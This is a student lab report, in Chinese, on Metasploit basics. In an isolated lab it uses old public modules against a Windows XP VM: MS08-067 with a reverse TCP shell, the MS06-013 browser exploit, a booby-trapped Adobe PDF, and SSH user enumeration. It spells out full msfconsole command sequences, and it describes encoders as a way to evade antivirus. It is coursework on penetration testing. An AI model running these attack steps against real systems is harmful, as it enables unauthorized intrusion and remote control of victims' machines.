Exp6 MSF应用基础
一、实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
1.4 成功应用任何一个辅助模块。(1分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。
二、实验原理
MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
MSF的六个模块:
查看六种模块源码目录/usr/share/metasploit-framework/modules
渗透攻击模块Exploit Modules
:攻击漏洞,把shellcode"背"过去
辅助模块Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
攻击载荷Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
空字段模块Nop Modules
编码模块Encoders
后渗透攻击模块Post
:攻击成功之后,动态传输代码使其在被控机执行
MSF常用漏洞利用命令:
search name :用指定关键字搜索可以利用的漏洞模块
use exploit name :使用漏洞
show options :显示配置选项
set TARGET target number :设置目标版本
exploit :开始漏洞攻击
sessions -l :列出会话
sessions -i id :选择会话
sessions -k id :结束会话
Ctrl+z :把会话放到后台
Ctrl+c :结束会话
三、实验过程
(一)主动攻击实践
攻击方式:ms08_067
靶机:Windows XP
具体步骤:
Windows xp的IP:192.168.127.144 kali的IP:192.168.127.134, XP ping一下 kali
启动 msfconsole
,然后输入search ms08_067
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi
输入指令 use exploit/windows/smb/ms08_067_netapi
进入攻击模块,使用show payloads
,查看能够使用的payloads
使用指令 set payload generic/shell_reverse_tcp
设置payload
为反向tcp连接
参数设置:
set RHOST 192.168.127.144 //设置靶机IP (winxp ip)
set LPORT 1326 //设置攻击机端口
set LHOST 192.168.127.134//设置攻击机IP (kali ip)
exploit
和winxp中的ip相同
输入net user
查看Winxp目前的用户名
(二)针对浏览器的攻击(靶机:Windows XP)
攻击方式:ms06_013_createtextrange
设置参数:
use exploit/windows/browser/ms06_013_createtextrange
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.127.144 // 设置靶机IP (winxp ip)
set target 0
exploit
在靶机浏览器中输入http://192.168.127.134:8080/cRiGSUEFJWrRu
网页会从0跑到100,然后浏览器会无法响应
输入sessions -i 2
进入靶机(shell路径和上次不一样),输入ver查看系统版本,dir查询目录
我这个地方做的还是有问题,未能成功回连。
(三)针对客户端的攻击
攻击方式:Adobe(adobe_cooltype_sing)
靶机:Windows XP
具体步骤:
进入kali输入如下指令
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 1326//设置端口号
set RHOST 192.168.127.144 靶机IP//设置靶机IP地址
exploit #攻击
此时生成msf.pdf,进入保存目录/root/.msf4/local/寻找msf.pdf,复制到共享文件夹中,再移到windowsXP虚拟机中
下载并安装Adobe reader
回到kali中开始监听靶机
msfconsole
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.127.144 靶机IP //设置靶机IP地址
set LPORT 1326 //设置端口号
exploit //攻击
打开靶机,打开pdf文件
回到kali,回连失败。为啥老是失败。
(四)成功应用任何一个辅助模块
攻击方式:ssh_enumusers
靶机:Windows XP
输入cd /usr/share/metasploit-framework/modules/auxiliary目录下查看Aux模块
打开msfconsole控制台,输入以下的参数:
use auxiliary/scanner/ssh/ssh_enumusers //启用相应模块
show options //查看参数设置
(这里可以先输入info查看该模块的具体说明,本模块的作用是发送格式错误的数据包或计时攻击来枚举OpenSSH服务器上的用户。测试会记录无效用户)
set RHOSTS 192.168.127.144 //设置目标地址
set RPORT 1326 //设置端口
set THREADS 50 //设置攻击线程
set THRESHOLD 2 //大致是设置找到用户前需要的秒数
set USERNAME lyd //设置猜测用户名
run //启动
四、问题回答
1.用自己的话解释什么是exploit,payload,encode
- exploit是渗透攻击,这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个连接漏洞对靶机进行攻击,将payload传送到靶机中。
- payload是载荷,是攻击者用来与系统交互的简单脚本,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,可以通过编码来消除类似0x00等漏洞无法处理的字符,来改变payload;还可以实现免杀,比如伪装特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机,不让杀毒软件很轻易的就发现payload是攻击代码。
五、离实战还缺些什么技术或步骤
1.对靶机的版本漏洞的理解要求特别高,不管是系统版本还是软件的版本,如何找到靶机存在的未修复漏洞是重点
2.在攻击过程中,如何诱导被攻击者打开我们想要他打开的网址和客户端,需要借助社会学攻击的手段
六、实验心得
虽然很多地方没有做成功,但是通过本次实验没想到能通过msf这个工具能够通过这么多的手段能够完成获取对方shell的能力,真的是令人震撼。所以我们需要不断提高我们的安全防范意识,安全道路任重道远。